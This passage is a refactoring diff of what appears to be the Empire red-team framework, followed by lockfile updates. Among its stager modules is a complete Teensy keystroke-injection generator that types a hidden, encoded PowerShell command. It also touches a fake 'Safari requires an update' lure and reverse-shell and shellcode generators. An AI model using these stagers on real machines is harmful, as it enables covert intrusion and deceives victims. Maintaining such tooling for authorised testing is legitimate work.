-103,7 +103,6 @@ def generate(self): AppName=app_name, disarm=disarm, ) - pkginstaller = self.mainMenu.stagers.generate_pkg( + return self.mainMenu.stagers.generate_pkg( launcher=launcher, bundleZip=application_zip, AppName=app_name ) - return pkginstaller diff --git a/empire/server/stagers/osx/safari_launcher.py b/empire/server/stagers/osx/safari_launcher.py index bfaa04087..26ca1a918 100644 --- a/empire/server/stagers/osx/safari_launcher.py +++ b/empire/server/stagers/osx/safari_launcher.py @@ -89,7 +89,7 @@ def generate(self): launcher = launcher.replace("'", "\\'") launcher = launcher.replace('"', '\\\\"') - html = f""" + return f"""

Safari requires an update. Press cmd-R to refresh. Make sure to press the play button on the script box to begin the update

""" - return html diff --git a/empire/server/stagers/windows/backdoorLnkMacro.py b/empire/server/stagers/windows/backdoorLnkMacro.py index 10088ee88..fbedc2891 100755 --- a/empire/server/stagers/windows/backdoorLnkMacro.py +++ b/empire/server/stagers/windows/backdoorLnkMacro.py @@ -155,8 +155,7 @@ def coordsToCell(row, col): coords = coords + chr(((col + 1) % 26) + 64) else: coords = coords + "Z" - coords = coords + str(row + 1) - return coords + return coords + str(row + 1) def generate(self): # default booleans to false diff --git a/empire/server/stagers/windows/cmd_exec.py b/empire/server/stagers/windows/cmd_exec.py index 343ac94b1..b95281b1a 100644 --- a/empire/server/stagers/windows/cmd_exec.py +++ b/empire/server/stagers/windows/cmd_exec.py @@ -159,9 +159,7 @@ def generate(self): print(helpers.color("[!] Error in launcher command generation.")) return "" - shell = self.generate_shellcode(msf_format, arch, self.launcher) - - return shell + return self.generate_shellcode(msf_format, arch, self.launcher) def generate_shellcode(self, msf_format, arch, launcher): print(f"[*] Generating Shellcode {arch}") diff --git a/empire/server/stagers/windows/csharp_exe.py b/empire/server/stagers/windows/csharp_exe.py index 66ecc22af..d54cf7328 100755 --- a/empire/server/stagers/windows/csharp_exe.py +++ b/empire/server/stagers/windows/csharp_exe.py @@ -150,22 +150,19 @@ def generate(self): launcher, dot_net_version=dot_net_version, obfuscate=obfuscate_script ) with open(directory, "rb") as f: - code = f.read() - return code + return f.read() elif language.lower() == "csharp": directory = f"{self.mainMenu.installPath}/csharp/Covenant/Data/Tasks/CSharp/Compiled/{dot_net_version}/{launcher}.exe" with open(directory, "rb") as f: - code = f.read() - return code + return f.read() elif language.lower() == "ironpython": directory = self.mainMenu.stagers.generate_python_exe( launcher, dot_net_version=dot_net_version, obfuscate=obfuscate_script ) with open(directory, "rb") as f: - code = f.read() - return code + return f.read() else: return "[!] Invalid launcher language." diff --git a/empire/server/stagers/windows/dll.py b/empire/server/stagers/windows/dll.py index 44a21a895..c7a2afd40 100644 --- a/empire/server/stagers/windows/dll.py +++ b/empire/server/stagers/windows/dll.py @@ -157,5 +157,4 @@ def generate(self): return "" else: launcher_code = launcher.split(" ")[-1] - dll = self.mainMenu.stagers.generate_dll(launcher_code, arch) - return dll + return self.mainMenu.stagers.generate_dll(launcher_code, arch) diff --git a/empire/server/stagers/windows/nim.py b/empire/server/stagers/windows/nim.py index c46b775e6..07593017f 100644 --- a/empire/server/stagers/windows/nim.py +++ b/empire/server/stagers/windows/nim.py @@ -163,8 +163,7 @@ def generate(self): try: with open(directory, "rb") as f: - code = f.read() - return code + return f.read() except OSError: log.error("Could not read file at " + str(directory)) return "" diff --git a/empire/server/stagers/windows/reverseshell.py b/empire/server/stagers/windows/reverseshell.py index d367fce2d..1574b8605 100644 --- a/empire/server/stagers/windows/reverseshell.py +++ b/empire/server/stagers/windows/reverseshell.py @@ -62,9 +62,7 @@ def generate(self): lhost = self.options["LocalHost"]["Value"] lport = self.options["LocalPort"]["Value"] msf_format = self.options["MSF_Format"]["Value"] - shell = self.generate_shellcode(lhost, lport, msf_format, arch) - - return shell + return self.generate_shellcode(lhost, lport, msf_format, arch) def generate_shellcode(self, lhost, lport, msf_format, arch): log.info( diff --git a/empire/server/stagers/windows/shellcode.py b/empire/server/stagers/windows/shellcode.py index 5683e204e..26ccf7cba 100644 --- a/empire/server/stagers/windows/shellcode.py +++ b/empire/server/stagers/windows/shellcode.py @@ -122,10 +122,9 @@ def generate(self): # not a valid listener, return nothing for the script return "[!] Invalid listener: " + listener_name - else: - obfuscate_script = False - if obfuscate.lower() == "true": - obfuscate_script = True + obfuscate_script = False + if obfuscate.lower() == "true": + obfuscate_script = True # generate the PowerShell one-liner with all of the proper options set launcher = self.mainMenu.stagers.generate_launcher( @@ -142,7 +141,7 @@ def generate(self): ) if launcher == "": return "[!] Error in launcher generation." - elif not launcher or launcher.lower() == "failed": + if not launcher or launcher.lower() == "failed": return "[!] Error in launcher command generation." if language.lower() == "powershell": @@ -154,7 +153,7 @@ def generate(self): return shellcode - elif language.lower() == "csharp": + if language.lower() == "csharp": if arch == "x86": arch_type = 1 elif arch == "x64": @@ -168,10 +167,9 @@ def generate(self): ) directory = f"{self.mainMenu.installPath}/csharp/Covenant/Data/Tasks/CSharp/Compiled/{dot_net_version}/{launcher}.exe" - shellcode = donut.create(file=directory, arch=arch_type) - return shellcode + return donut.create(file=directory, arch=arch_type) - elif language.lower() == "python": + if language.lower() == "python": shellcode, err = self.mainMenu.stagers.generate_python_shellcode( launcher, arch=arch, dot_net_version=dot_net_version ) @@ -180,5 +178,4 @@ def generate(self): return shellcode - else: - return "[!] Invalid launcher language." + return "[!] Invalid launcher language." diff --git a/empire/server/stagers/windows/teensy.py b/empire/server/stagers/windows/teensy.py index 2ed706488..4d84d095b 100644 --- a/empire/server/stagers/windows/teensy.py +++ b/empire/server/stagers/windows/teensy.py @@ -128,91 +128,91 @@ def generate(self): if launcher == "": log.error("[!] Error in launcher command generation.") return "" - else: - enc = launcher.split(" ")[-1] - send_enc = 'Keyboard.print("' - send_enc += enc - send_enc += '");\n' - teensy_code = "unsigned int lock_check_wait = 1000;\n" - teensy_code += "int ledKeys(void) {return int(keyboard_leds);}\n" - teensy_code += "boolean isLockOn(void) {\n" - teensy_code += " return ((ledKeys() & 2) == 2) ? true : false;\n" - teensy_code += "}\n\n" - teensy_code += "void clearKeys (){\n" - teensy_code += " delay(200);\n" - teensy_code += " Keyboard.set_key1(0);\n" - teensy_code += " Keyboard.set_key2(0);\n" - teensy_code += " Keyboard.set_key3(0);\n" - teensy_code += " Keyboard.set_key4(0);\n" - teensy_code += " Keyboard.set_key5(0);\n" - teensy_code += " Keyboard.set_key6(0);\n" - teensy_code += " Keyboard.set_modifier(0);\n" - teensy_code += " Keyboard.send_now();\n" - teensy_code += "}\n\n" - teensy_code += "void toggleLock(void) {\n" - teensy_code += " Keyboard.set_key1(KEY_CAPS_LOCK);\n" - teensy_code += " Keyboard.send_now();\n" - teensy_code += " clearKeys();\n" - teensy_code += "}\n\n" - teensy_code += "void wait_for_drivers(void) {\n" - teensy_code += " boolean numLockTrap = isLockOn();\n" - teensy_code += " while(numLockTrap == isLockOn()) {\n" - teensy_code += " toggleLock();\n" - teensy_code += " delay(lock_check_wait);\n" - teensy_code += " }\n" - teensy_code += " toggleLock();\n" - teensy_code += " delay(lock_check_wait);\n" - teensy_code += "}\n\n" - teensy_code += "void win_minWindows(void) {\n" - teensy_code += " delay(300);\n" - teensy_code += " Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);\n" - teensy_code += " Keyboard.set_key1(KEY_M);\n" - teensy_code += " Keyboard.send_now();\n" - teensy_code += " clearKeys();\n" - teensy_code += "}\n\n" - teensy_code += "void win_restoreWindows(void) {\n" - teensy_code += " delay(300);\n" - teensy_code += " Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);\n" - teensy_code += " Keyboard.send_now();\n" - teensy_code += " Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI | MODIFIERKEY_SHIFT);\n" - teensy_code += " Keyboard.send_now();\n" - teensy_code += " Keyboard.set_key1(KEY_M);\n" - teensy_code += " Keyboard.send_now();\n" - teensy_code += " clearKeys();\n" - teensy_code += "}\n\n" - teensy_code += "void win_run(void) {\n" - teensy_code += " Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);\n" - teensy_code += " Keyboard.set_key1(KEY_R);\n" - teensy_code += " Keyboard.send_now();\n" - teensy_code += " clearKeys();\n" - teensy_code += "}\n\n" - teensy_code += "void win_openCmd(void) {\n" - teensy_code += " delay(300);\n" - teensy_code += " win_run();\n" - teensy_code += ' Keyboard.print("cmd.exe");\n' - teensy_code += " Keyboard.set_key1(KEY_ENTER);\n" - teensy_code += " Keyboard.send_now();\n" - teensy_code += " clearKeys();\n" - teensy_code += "}\n\n" - teensy_code += "void empire(void) {\n" - teensy_code += " wait_for_drivers();\n" - teensy_code += " win_minWindows();\n" - teensy_code += " delay(1000);\n" - teensy_code += " win_openCmd();\n" - teensy_code += " delay(1000);\n" - teensy_code += ( - ' Keyboard.print("powershell -W Hidden -nop -noni -enc ");\n' - ) - teensy_code += " " - teensy_code += send_enc - teensy_code += " Keyboard.set_key1(KEY_ENTER);\n" - teensy_code += " Keyboard.send_now();\n" - teensy_code += " clearKeys();\n" - teensy_code += " win_restoreWindows();\n" - teensy_code += "}\n\n" - teensy_code += "void setup(void) {\n" - teensy_code += " empire();\n" - teensy_code += "}\n\n" - teensy_code += "void loop() {}" - return teensy_code + enc = launcher.split(" ")[-1] + send_enc = 'Keyboard.print("' + send_enc += enc + send_enc += '");\n' + teensy_code = "unsigned int lock_check_wait = 1000;\n" + teensy_code += "int ledKeys(void) {return int(keyboard_leds);}\n" + teensy_code += "boolean isLockOn(void) {\n" + teensy_code += " return ((ledKeys() & 2) == 2) ? true : false;\n" + teensy_code += "}\n\n" + teensy_code += "void clearKeys (){\n" + teensy_code += " delay(200);\n" + teensy_code += " Keyboard.set_key1(0);\n" + teensy_code += " Keyboard.set_key2(0);\n" + teensy_code += " Keyboard.set_key3(0);\n" + teensy_code += " Keyboard.set_key4(0);\n" + teensy_code += " Keyboard.set_key5(0);\n" + teensy_code += " Keyboard.set_key6(0);\n" + teensy_code += " Keyboard.set_modifier(0);\n" + teensy_code += " Keyboard.send_now();\n" + teensy_code += "}\n\n" + teensy_code += "void toggleLock(void) {\n" + teensy_code += " Keyboard.set_key1(KEY_CAPS_LOCK);\n" + teensy_code += " Keyboard.send_now();\n" + teensy_code += " clearKeys();\n" + teensy_code += "}\n\n" + teensy_code += "void wait_for_drivers(void) {\n" + teensy_code += " boolean numLockTrap = isLockOn();\n" + teensy_code += " while(numLockTrap == isLockOn()) {\n" + teensy_code += " toggleLock();\n" + teensy_code += " delay(lock_check_wait);\n" + teensy_code += " }\n" + teensy_code += " toggleLock();\n" + teensy_code += " delay(lock_check_wait);\n" + teensy_code += "}\n\n" + teensy_code += "void win_minWindows(void) {\n" + teensy_code += " delay(300);\n" + teensy_code += " Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);\n" + teensy_code += " Keyboard.set_key1(KEY_M);\n" + teensy_code += " Keyboard.send_now();\n" + teensy_code += " clearKeys();\n" + teensy_code += "}\n\n" + teensy_code += "void win_restoreWindows(void) {\n" + teensy_code += " delay(300);\n" + teensy_code += " Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);\n" + teensy_code += " Keyboard.send_now();\n" + teensy_code += ( + " Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI | MODIFIERKEY_SHIFT);\n" + ) + teensy_code += " Keyboard.send_now();\n" + teensy_code += " Keyboard.set_key1(KEY_M);\n" + teensy_code += " Keyboard.send_now();\n" + teensy_code += " clearKeys();\n" + teensy_code += "}\n\n" + teensy_code += "void win_run(void) {\n" + teensy_code += " Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);\n" + teensy_code += " Keyboard.set_key1(KEY_R);\n" + teensy_code += " Keyboard.send_now();\n" + teensy_code += " clearKeys();\n" + teensy_code += "}\n\n" + teensy_code += "void win_openCmd(void) {\n" + teensy_code += " delay(300);\n" + teensy_code += " win_run();\n" + teensy_code += ' Keyboard.print("cmd.exe");\n' + teensy_code += " Keyboard.set_key1(KEY_ENTER);\n" + teensy_code += " Keyboard.send_now();\n" + teensy_code += " clearKeys();\n" + teensy_code += "}\n\n" + teensy_code += "void empire(void) {\n" + teensy_code += " wait_for_drivers();\n" + teensy_code += " win_minWindows();\n" + teensy_code += " delay(1000);\n" + teensy_code += " win_openCmd();\n" + teensy_code += " delay(1000);\n" + teensy_code += ' Keyboard.print("powershell -W Hidden -nop -noni -enc ");\n' + teensy_code += " " + teensy_code += send_enc + teensy_code += " Keyboard.set_key1(KEY_ENTER);\n" + teensy_code += " Keyboard.send_now();\n" + teensy_code += " clearKeys();\n" + teensy_code += " win_restoreWindows();\n" + teensy_code += "}\n\n" + teensy_code += "void setup(void) {\n" + teensy_code += " empire();\n" + teensy_code += "}\n\n" + teensy_code += "void loop() {}" + + return teensy_code diff --git a/empire/server/stagers/windows/wmic.py b/empire/server/stagers/windows/wmic.py index 48aa23672..e21724e0f 100644 --- a/empire/server/stagers/windows/wmic.py +++ b/empire/server/stagers/windows/wmic.py @@ -147,13 +147,13 @@ def generate(self): if launcher == "": log.error("[!] Error in launcher command generation.") return "" - else: - code = ' bool: diff --git a/empire/server/utils/datetime_util.py b/empire/server/utils/datetime_util.py index 225c853ca..d35098fcf 100644 --- a/empire/server/utils/datetime_util.py +++ b/empire/server/utils/datetime_util.py @@ -7,8 +7,7 @@ def is_stale(lastseen: datetime, delay: int, jitter: float): """ interval_max = (delay + delay * jitter) + 30 diff = getutcnow() - lastseen - stale = diff.total_seconds() > interval_max - return stale + return diff.total_seconds() > interval_max def getutcnow(): diff --git a/empire/server/utils/listener_util.py b/empire/server/utils/listener_util.py index 653f7525a..36ae1bc4a 100644 --- a/empire/server/utils/listener_util.py +++ b/empire/server/utils/listener_util.py @@ -87,9 +87,7 @@ def generate_cookie(): """ chars = string.ascii_letters - cookie = helpers.random_string(random.randint(6, 16), charset=chars) - - return cookie + return helpers.random_string(random.randint(6, 16), charset=chars) def generate_random_cipher(): @@ -107,6 +105,4 @@ def generate_random_cipher(): tls12 = random.choice(random_tls12) tls10 = "ECDHE-RSA-AES256-SHA" - cipher = f"{tls12}:{tls10}" - - return cipher + return f"{tls12}:{tls10}" diff --git a/empire/server/utils/math_util.py b/empire/server/utils/math_util.py index 549fb350d..62d66c8b7 100644 --- a/empire/server/utils/math_util.py +++ b/empire/server/utils/math_util.py @@ -8,5 +8,4 @@ def old_div(a, b): """ if isinstance(a, numbers.Integral) and isinstance(b, numbers.Integral): return a // b - else: - return a / b + return a / b diff --git a/empire/server/utils/option_util.py b/empire/server/utils/option_util.py index c1d3b7f0f..35408fa1c 100644 --- a/empire/server/utils/option_util.py +++ b/empire/server/utils/option_util.py @@ -137,16 +137,15 @@ def _parse_type(type_str: str = "", value: str = ""): # noqa: PLR0911 if type_str.lower() in ["int", "integer"]: return int - elif type_str.lower() in ["bool", "boolean"]: + if type_str.lower() in ["bool", "boolean"]: return bool - elif type_str.lower() in ["str", "string"]: + if type_str.lower() in ["str", "string"]: return str - elif type_str.lower() == "float": + if type_str.lower() == "float": return float - elif type_str.lower() == "file": + if type_str.lower() == "file": return "file" - else: - return None + return None def _safe_cast_option( @@ -167,5 +166,4 @@ def _safe_cast_option( None, f"incorrect type for option {param_name}. Expected {expected_option_type} but got {option_type}", ) - else: - return casted, None + return casted, None diff --git a/empire/test/conftest.py b/empire/test/conftest.py index 8033e17a5..5b034935c 100644 --- a/empire/test/conftest.py +++ b/empire/test/conftest.py @@ -580,5 +580,4 @@ def patch_config(empire_config): def load_test_config(): with open(SERVER_CONFIG_LOC) as f: - loaded = yaml.safe_load(f) - return loaded + return yaml.safe_load(f) diff --git a/empire/test/test_agents.py b/empire/test/test_agents.py index da94283bd..ae1f41f71 100644 --- a/empire/test/test_agents.py +++ b/empire/test/test_agents.py @@ -38,8 +38,7 @@ def comp_data(self, data, cvalue=COMP_RATIO): data = string wanting compression cvalue = 0-9 comp value (default 6) """ - cdata = zlib.compress(data, cvalue) - return cdata + return zlib.compress(data, cvalue) def crc32_data(self, data): """ @@ -48,8 +47,7 @@ def crc32_data(self, data): returns: HEX bytes of data """ - crc = zlib.crc32(data) & 0xFFFFFFFF - return crc + return zlib.crc32(data) & 0xFFFFFFFF def build_header(self, data, crc): """ @@ -59,8 +57,7 @@ def build_header(self, data, crc): crc = crc32 value """ header = struct.pack("!I", crc) - built_data = header + data - return built_data + return header + data @pytest.fixture(scope="function", autouse=True) diff --git a/empire/test/test_logs.py b/empire/test/test_logs.py index ab30c5b2b..dd6cd40ef 100644 --- a/empire/test/test_logs.py +++ b/empire/test/test_logs.py @@ -22,7 +22,10 @@ def test_simple_log_format(monkeypatch): setup_logging(args) stream_handler = next( - filter(lambda h: type(h) == logging.StreamHandler, logging.getLogger().handlers) + filter( + lambda h: type(h) == logging.StreamHandler, # noqa: E721 + logging.getLogger().handlers, + ) ) assert isinstance(stream_handler.formatter, ColorFormatter) @@ -50,7 +53,10 @@ def test_extended_log_format(monkeypatch): setup_logging(args) stream_handler = next( - filter(lambda h: type(h) == logging.StreamHandler, logging.getLogger().handlers) + filter( + lambda h: type(h) == logging.StreamHandler, # noqa: E721 + logging.getLogger().handlers, + ) ) assert isinstance(stream_handler.formatter, ColorFormatter) @@ -77,7 +83,10 @@ def test_log_level_by_config(monkeypatch): setup_logging(args) stream_handler = next( - filter(lambda h: type(h) == logging.StreamHandler, logging.getLogger().handlers) + filter( + lambda h: type(h) == logging.StreamHandler, # noqa: E721 + logging.getLogger().handlers, + ) ) assert stream_handler.level == logging.WARNING @@ -107,7 +116,10 @@ def test_log_level_by_arg(): setup_logging(args) stream_handler = next( - filter(lambda h: type(h) == logging.StreamHandler, logging.getLogger().handlers) + filter( + lambda h: type(h) == logging.StreamHandler, # noqa: E721 + logging.getLogger().handlers, + ) ) assert stream_handler.level == logging.ERROR diff --git a/poetry.lock b/poetry.lock index 97b993bba..b4f3e5b19 100644 --- a/poetry.lock +++ b/poetry.lock @@ -348,13 +348,13 @@ cffi = ">=1.0.0" [[package]] name = "certifi" -version = "2024.6.2" +version = "2024.7.4" description = "Python package for providing Mozilla's CA Bundle." optional = false python-versions = ">=3.6" files = [ - {file = "certifi-2024.6.2-py3-none-any.whl", hash = "sha256:ddc6c8ce995e6987e7faf5e3f1b02b302836a0e5d98ece18392cb1a36c72ad56"}, - {file = "certifi-2024.6.2.tar.gz", hash = "sha256:3cd43f1c6fa7dedc5899d69d3ad0398fd018ad1a17fba83ddaf78aa46c747516"}, + {file = "certifi-2024.7.4-py3-none-any.whl", hash = "sha256:c198e21b1289c2ab85ee4e67bb4b4ef3ead0892059901a8d5b622f24a1101e90"}, + {file = "certifi-2024.7.4.tar.gz", hash = "sha256:5a1e7645bc0ec61a09e26c36f6106dd4cf40c6db3a1fb6352b0244e7fb057c7b"}, ] [[package]] @@ -558,63 +558,63 @@ files = [ [[package]] name = "coverage" -version = "7.5.4" +version = "7.6.0" description = "Code coverage measurement for Python" optional = false python-versions = ">=3.8" files = [ - {file = "coverage-7.5.4-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:6cfb5a4f556bb51aba274588200a46e4dd6b505fb1a5f8c5ae408222eb416f99"}, - {file = "coverage-7.5.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:2174e7c23e0a454ffe12267a10732c273243b4f2d50d07544a91198f05c48f47"}, - {file = "coverage-7.5.4-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2214ee920787d85db1b6a0bd9da5f8503ccc8fcd5814d90796c2f2493a2f4d2e"}, - {file = "coverage-7.5.4-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1137f46adb28e3813dec8c01fefadcb8c614f33576f672962e323b5128d9a68d"}, - {file = "coverage-7.5.4-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b385d49609f8e9efc885790a5a0e89f2e3ae042cdf12958b6034cc442de428d3"}, - {file = "coverage-7.5.4-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:b4a474f799456e0eb46d78ab07303286a84a3140e9700b9e154cfebc8f527016"}, - {file = "coverage-7.5.4-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:5cd64adedf3be66f8ccee418473c2916492d53cbafbfcff851cbec5a8454b136"}, - {file = "coverage-7.5.4-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:e564c2cf45d2f44a9da56f4e3a26b2236504a496eb4cb0ca7221cd4cc7a9aca9"}, - {file = "coverage-7.5.4-cp310-cp310-win32.whl", hash = "sha256:7076b4b3a5f6d2b5d7f1185fde25b1e54eb66e647a1dfef0e2c2bfaf9b4c88c8"}, - {file = "coverage-7.5.4-cp310-cp310-win_amd64.whl", hash = "sha256:018a12985185038a5b2bcafab04ab833a9a0f2c59995b3cec07e10074c78635f"}, - {file = "coverage-7.5.4-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:db14f552ac38f10758ad14dd7b983dbab424e731588d300c7db25b6f89e335b5"}, - {file = "coverage-7.5.4-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:3257fdd8e574805f27bb5342b77bc65578e98cbc004a92232106344053f319ba"}, - {file = "coverage-7.5.4-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3a6612c99081d8d6134005b1354191e103ec9705d7ba2754e848211ac8cacc6b"}, - {file = "coverage-7.5.4-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d45d3cbd94159c468b9b8c5a556e3f6b81a8d1af2a92b77320e887c3e7a5d080"}, - {file = "coverage-7.5.4-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ed550e7442f278af76d9d65af48069f1fb84c9f745ae249c1a183c1e9d1b025c"}, - {file = "coverage-7.5.4-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:7a892be37ca35eb5019ec85402c3371b0f7cda5ab5056023a7f13da0961e60da"}, - {file = "coverage-7.5.4-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:8192794d120167e2a64721d88dbd688584675e86e15d0569599257566dec9bf0"}, - {file = "coverage-7.5.4-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:820bc841faa502e727a48311948e0461132a9c8baa42f6b2b84a29ced24cc078"}, - {file = "coverage-7.5.4-cp311-cp311-win32.whl", hash = "sha256:6aae5cce399a0f065da65c7bb1e8abd5c7a3043da9dceb429ebe1b289bc07806"}, - {file = "coverage-7.5.4-cp311-cp311-win_amd64.whl", hash = "sha256:d2e344d6adc8ef81c5a233d3a57b3c7d5181f40e79e05e1c143da143ccb6377d"}, - {file = "coverage-7.5.4-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:54317c2b806354cbb2dc7ac27e2b93f97096912cc16b18289c5d4e44fc663233"}, - {file = "coverage-7.5.4-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:042183de01f8b6d531e10c197f7f0315a61e8d805ab29c5f7b51a01d62782747"}, - {file = "coverage-7.5.4-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a6bb74ed465d5fb204b2ec41d79bcd28afccf817de721e8a807d5141c3426638"}, - {file = "coverage-7.5.4-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b3d45ff86efb129c599a3b287ae2e44c1e281ae0f9a9bad0edc202179bcc3a2e"}, - {file = "coverage-7.5.4-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5013ed890dc917cef2c9f765c4c6a8ae9df983cd60dbb635df8ed9f4ebc9f555"}, - {file = "coverage-7.5.4-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:1014fbf665fef86cdfd6cb5b7371496ce35e4d2a00cda501cf9f5b9e6fced69f"}, - {file = "coverage-7.5.4-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:3684bc2ff328f935981847082ba4fdc950d58906a40eafa93510d1b54c08a66c"}, - {file = "coverage-7.5.4-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:581ea96f92bf71a5ec0974001f900db495488434a6928a2ca7f01eee20c23805"}, - {file = "coverage-7.5.4-cp312-cp312-win32.whl", hash = "sha256:73ca8fbc5bc622e54627314c1a6f1dfdd8db69788f3443e752c215f29fa87a0b"}, - {file = "coverage-7.5.4-cp312-cp312-win_amd64.whl", hash = "sha256:cef4649ec906ea7ea5e9e796e68b987f83fa9a718514fe147f538cfeda76d7a7"}, - {file = "coverage-7.5.4-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:cdd31315fc20868c194130de9ee6bfd99755cc9565edff98ecc12585b90be882"}, - {file = "coverage-7.5.4-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:02ff6e898197cc1e9fa375581382b72498eb2e6d5fc0b53f03e496cfee3fac6d"}, - {file = "coverage-7.5.4-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d05c16cf4b4c2fc880cb12ba4c9b526e9e5d5bb1d81313d4d732a5b9fe2b9d53"}, - {file = "coverage-7.5.4-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c5986ee7ea0795a4095ac4d113cbb3448601efca7f158ec7f7087a6c705304e4"}, - {file = "coverage-7.5.4-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5df54843b88901fdc2f598ac06737f03d71168fd1175728054c8f5a2739ac3e4"}, - {file = "coverage-7.5.4-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:ab73b35e8d109bffbda9a3e91c64e29fe26e03e49addf5b43d85fc426dde11f9"}, - {file = "coverage-7.5.4-cp38-cp38-musllinux_1_2_i686.whl", hash = "sha256:aea072a941b033813f5e4814541fc265a5c12ed9720daef11ca516aeacd3bd7f"}, - {file = "coverage-7.5.4-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:16852febd96acd953b0d55fc842ce2dac1710f26729b31c80b940b9afcd9896f"}, - {file = "coverage-7.5.4-cp38-cp38-win32.whl", hash = "sha256:8f894208794b164e6bd4bba61fc98bf6b06be4d390cf2daacfa6eca0a6d2bb4f"}, - {file = "coverage-7.5.4-cp38-cp38-win_amd64.whl", hash = "sha256:e2afe743289273209c992075a5a4913e8d007d569a406ffed0bd080ea02b0633"}, - {file = "coverage-7.5.4-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:b95c3a8cb0463ba9f77383d0fa8c9194cf91f64445a63fc26fb2327e1e1eb088"}, - {file = "coverage-7.5.4-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:3d7564cc09dd91b5a6001754a5b3c6ecc4aba6323baf33a12bd751036c998be4"}, - {file = "coverage-7.5.4-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:44da56a2589b684813f86d07597fdf8a9c6ce77f58976727329272f5a01f99f7"}, - {file = "coverage-7.5.4-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e16f3d6b491c48c5ae726308e6ab1e18ee830b4cdd6913f2d7f77354b33f91c8"}, - {file = "coverage-7.5.4-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dbc5958cb471e5a5af41b0ddaea96a37e74ed289535e8deca404811f6cb0bc3d"}, - {file = "coverage-7.5.4-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:a04e990a2a41740b02d6182b498ee9796cf60eefe40cf859b016650147908029"}, - {file = "coverage-7.5.4-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:ddbd2f9713a79e8e7242d7c51f1929611e991d855f414ca9996c20e44a895f7c"}, - {file = "coverage-7.5.4-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:b1ccf5e728ccf83acd313c89f07c22d70d6c375a9c6f339233dcf792094bcbf7"}, - {file = "coverage-7.5.4-cp39-cp39-win32.whl", hash = "sha256:56b4eafa21c6c175b3ede004ca12c653a88b6f922494b023aeb1e836df953ace"}, - {file = "coverage-7.5.4-cp39-cp39-win_amd64.whl", hash = "sha256:65e528e2e921ba8fd67d9055e6b9f9e34b21ebd6768ae1c1723f4ea6ace1234d"}, - {file = "coverage-7.5.4-pp38.pp39.pp310-none-any.whl", hash = "sha256:79b356f3dd5b26f3ad23b35c75dbdaf1f9e2450b6bcefc6d0825ea0aa3f86ca5"}, - {file = "coverage-7.5.4.tar.gz", hash = "sha256:a44963520b069e12789d0faea4e9fdb1e410cdc4aab89d94f7f55cbb7fef0353"}, + {file = "coverage-7.6.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:dff044f661f59dace805eedb4a7404c573b6ff0cdba4a524141bc63d7be5c7fd"}, + {file = "coverage-7.6.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:a8659fd33ee9e6ca03950cfdcdf271d645cf681609153f218826dd9805ab585c"}, + {file = "coverage-7.6.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7792f0ab20df8071d669d929c75c97fecfa6bcab82c10ee4adb91c7a54055463"}, + {file = 